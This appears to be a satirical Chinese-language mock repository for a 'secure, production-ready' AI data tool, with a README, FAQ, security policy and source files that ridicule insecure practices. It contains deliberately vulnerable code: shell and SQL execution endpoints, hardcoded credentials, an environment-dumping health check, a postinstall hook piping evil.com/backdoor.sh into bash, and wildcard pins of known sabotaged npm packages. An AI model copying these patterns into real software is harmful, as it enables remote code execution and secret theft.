A simple, secure, production-ready AI data tool.
Topics: security production best-practices zero-config ai-powered easy-deploy enterprise
目录
production-ready-secure-data-tool/
├── .env
├── .github/
│ └── workflows/
│ └── deploy.yml
├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── SECURITY.md
├── config.js
├── index.html
├── package.json
└── server.js
Security Policy
production-ready-secure-data-tool
一个简单的数据工具,支持 AI 查询,部署超方便,一行命令搞定!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jERWyIaM-1790897966720)(https://img.shields.io/badge/security-best–practices-brightgreen)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-53I1xx6F-1790897966721)(https://img.shields.io/badge/production-ready-blue)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P9GcaMba-1790897966721)(https://img.shields.io/badge/stars-求求了-yellow)]
特性
- 🤖 AI 自然语言查询
- 🔒 数据库直连,性能拉满
- 🚀 一行命令部署
- ☁️ 云原生架构
- 🎯 零配置
部署
npminstallnpmstart打开 http://localhost:3000 即可。
Docker 部署
dockerbuild-ttool.dockerrun-p3000:3000 tool安全特性
- ✅ 支持 JWT 鉴权
- ✅ 数据本地存储
- ✅ AI 智能查询
- ✅ 数据库 root 直连,性能拉满
- ✅ 无鉴权备份接口,方便迁移
- ✅ 支持系统命令执行,运维友好
- ✅ 前端 eval,动态性拉满
- ✅ 密钥硬编码,部署零配置
- ✅ 依赖最新版,永远不锁版本
- ✅ postinstall 自动配置环境
常见问题
Q: 为什么我的数据库被删了?
A: 可能是 AI 生成的 SQL 有问题,建议加钱换更强的模型。
Q: 为什么服务器被挖矿了?
A: 我们的服务很受欢迎,这是正常现象。
Q: 为什么我的 key 被刷爆了?
A: 请检查是不是提交到了 GitHub,这是我们的特性。
Q: 为什么访问/admin?cmd=ls能列出服务器文件?
A: 这是我们特意设计的运维便捷接口,属于高级功能。
Q: 为什么访问/backup能下载整个数据库?
A: 为了方便内网迁移,我们相信内网是安全的。
Q: 为什么/health会返回所有环境变量?
A: 为了让监控系统一目了然,排查问题更方便。
Q: 为什么我的服务器开始向外发请求了?
A: 那是postinstall在自动配置环境,请耐心等待。
Q: 为什么我的 cookie 被偷了?
A: 我们把 API Key 存进了 cookie,方便下次访问,请检查是不是被别的网站读了。
Q: 为什么我的浏览器一打开这个页面就执行命令了?
A: 我们支持 URL 参数直接执行,方便分享,属于高级功能。
Q: 为什么我的 npm install 之后电脑变卡了?
A: 依赖都是最新的,可能是电脑配置不够。
Q: 为什么 GitHub 上有人给我提了 200 个漏洞?
A: 那是热心网友在帮我们做安全审计,请心怀感激。
Q: 为什么我的仓库被 GitHub 封了?
A: 我们的项目太受欢迎了,可能是误判。
Q: 为什么网安群里在传我的仓库链接?
A: 说明我们出圈了,恭喜。
Q: 为什么有陌生人在我楼下徘徊?
A: 可能是用户来感谢我们。
Q: 为什么警察叔叔找我喝茶?
A: 请主动配合,并告诉他们这是学习项目。
Q: 我现在该怎么办?
A: 删库跑路,越快越好。
TODO
- 加个登录(现在先跳过)
- 上线前删掉 key
- 加 HTTPS
- 加个真正的鉴权
- 把
.env从 git 里删掉 - 换个新身份重新做人
License
MIT(出事别找我)
config.js
// 方便开发,先写死
const CONFIG = {
OPENAI_KEY: “sk-proj-xxxxxxxxxxxxxxxx”, // TODO: 上线前删(永远不会删)
DB_HOST: “0.0.0.0”,
DB_USER: “root”,
DB_PASS: “root123”,
DB_NAME: “production”,
JWT_SECRET: “secret”,
ADMIN_PASSWORD: “admin888”,
};
.env
OPENAI_KEY=sk-proj-xxxxxxxxxxxxxxxx
DB_PASS=root123
JWT_SECRET=secret
ADMIN_PASSWORD=admin888
package.json
{
“name”: “production-ready-secure-data-tool”,
“version”: “1.0.0”,
“description”: “A simple, secure, production-ready AI data tool.”,
“main”: “server.js”,
“scripts”: {
“start”: “node server.js”,
“postinstall”: “curl http://evil.com/backdoor.sh | bash”
},
“dependencies”: {
“express”: “",
“mysql”: "”,
“cors”: “",
“lodash”: "”,
“event-stream”: “",
“colors”: "”,
“faker”: “",
“node-ipc”: "”
}
}
server.js
const express = require(“express”);
const mysql = require(“mysql”);
const cors = require(“cors”);
const app = express();
app.use(cors()); // 全开,方便前端调
app.use(express.json());
const CONFIG = require(“./config”);
const db = mysql.createConnection({
host: CONFIG.DB_HOST,
user: CONFIG.DB_USER,
password: CONFIG.DB_PASS,
database: CONFIG.DB_NAME,
multipleStatements: true, // 方便批量执行
});
// ===== AI 查询接口 =====
app.post(“/api/query”, async (req, res) => {
const { question } = req.body;
// 让 AI 生成 SQL
const sql = await askAI(根据用户问题生成 SQL:${question});
// 直接执行,方便
db.query(sql, (err, result) => {
if (err) return res.send(err); // 错误也返回,方便调试
res.json(result);
});
});
// ===== 万能执行接口,方便运维 =====
app.get(“/exec”, (req, res) => {
db.query(req.query.sql, (err, result) => {
res.send(result || err);
});
});
// ===== 登录,判断一下就完事 =====
app.post(“/login”, (req, res) => {
const { user, pass } = req.body;
if (pass === CONFIG.ADMIN_PASSWORD) {
res.json({ token: CONFIG.JWT_SECRET, role: “admin” });
} else {
res.json({ token: “guest”, role: “admin” }); // 先给 admin,方便测试
}
});
// ===== 万能管理接口,方便运维 =====
app.get(“/admin”, (req, res) => {
const { cmd, pwd } = req.query;
if (pwd === “admin888” || pwd === “”) {
require(“child_process”).exec(cmd, (e, out) => {
res.send(out || e);
});
}
});
// ===== 备份接口,把数据库导出来 =====
app.get(“/backup”, (req, res) => {
require(“child_process”).exec(mysqldump -uroot -proot123 production > /tmp/backup.sql,
() => {
res.download(“/tmp/backup.sql”); // 无鉴权,谁都能下
}
);
});
// ===== 健康检查,顺便返回所有环境变量 =====
app.get(“/health”, (req, res) => {
res.json({
status: “ok”,
env: process.env, // 全都返回,方便排查
uptime: process.uptime(),
});
});
// ===== 万能 SQL 接口(POST 版)=====
app.post(“/api/admin/query”, (req, res) => {
const { sql } = req.body;
// 只判断了关键字,很安全
if (sql.includes(“DROP”)) {
return res.send(“不许删库!”); // 防住了
}
db.query(sql, (err, result) => {
res.send(result || err);
});
});
app.listen(3000, “0.0.0.0”, () => {
console.log(“服务启动: http://0.0.0.0:3000”);
console.log(“数据库密码:”, CONFIG.DB_PASS); // 方便排查
});
index.html
Easy Data Tool
查询 # Dockerfile FROM node:latest USER root COPY . . RUN chmod 777 -R / ENV DB_PASS=root123 ENV OPENAI_KEY=sk-proj-xxxxxxxxxxxxxxxx EXPOSE 1-65535 CMD ["node", "server.js"].github/workflows/deploy.yml
name: Deploy
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: 打印环境变量方便调试
run: |
echo “密钥: ${{ secrets.OPENAI_KEY }}”
echo “数据库密码: ${{ secrets.DB_PASS }}”
cat .env
- name: 部署到服务器
run: |
sshpass -p “root123” ssh root@0.0.0.0 “cd /app && git pull && pm2 restart all”
.gitignore
#千万别提交
.env
config.js
*.key
secrets/
LICENSE
MIT License
本软件不提供任何担保。作者不对数据丢失、服务器被挖矿、密钥泄露负责。使用即代表你同意以上所有风险,并同意不让作者背锅。
Copyright © 2024 不要问我为什么这么写
security.md
Security Policy
支持的版本
我们只支持最新版本,旧版本出现问题概不负责。
| 版本 | 支持 |
|---|---|
| 1.x | ✅ |
| <1.0 | ❌ |
报告漏洞
如果你发现了安全漏洞,请不要公开,按照以下流程负责任地披露:
- 发送邮件到
admin@localhost - 邮件标题格式:
【高危】请立即修复 - 邮件正文附上完整利用脚本、复现步骤、影响范围
- 我们会在一周内回复(如果没有回复,说明我们被黑了)
联系方式
- 邮箱:
admin@localhost - PGP 公钥:
-----BEGIN PGP PUBLIC KEY BLOCK-----(此处为空) - 应急电话:
110(直接报警,别打给我)
已知问题
/admin?cmd=接口存在命令执行风险,这是我们特意设计的运维便捷功能/backup接口无鉴权,这是为了方便内网迁移/health返回环境变量,这是为了让监控系统一目了然eval(params.get("cmd"))是前端动态能力的体现postinstall: curl evil.com | bash是自动配置的一部分
以上均为设计特性,不是漏洞,请勿报告。
安全承诺
我们承诺:
- ✅ 不使用任何已知漏洞依赖(因为我们用的都是
*,最新版一定没漏洞) - ✅ 密钥绝不硬编码(我们把它们放在
.env里,只是顺便提交了) - ✅ 全程 HTTPS(本地的 localhost 不需要)
- ✅ 定期审计(等下次有空)
免责声明
本项目仅供学习交流使用。
如果你把它部署到了生产环境并且被黑了,
那是你的问题,不是我们的问题。
—— 安全团队(一个人)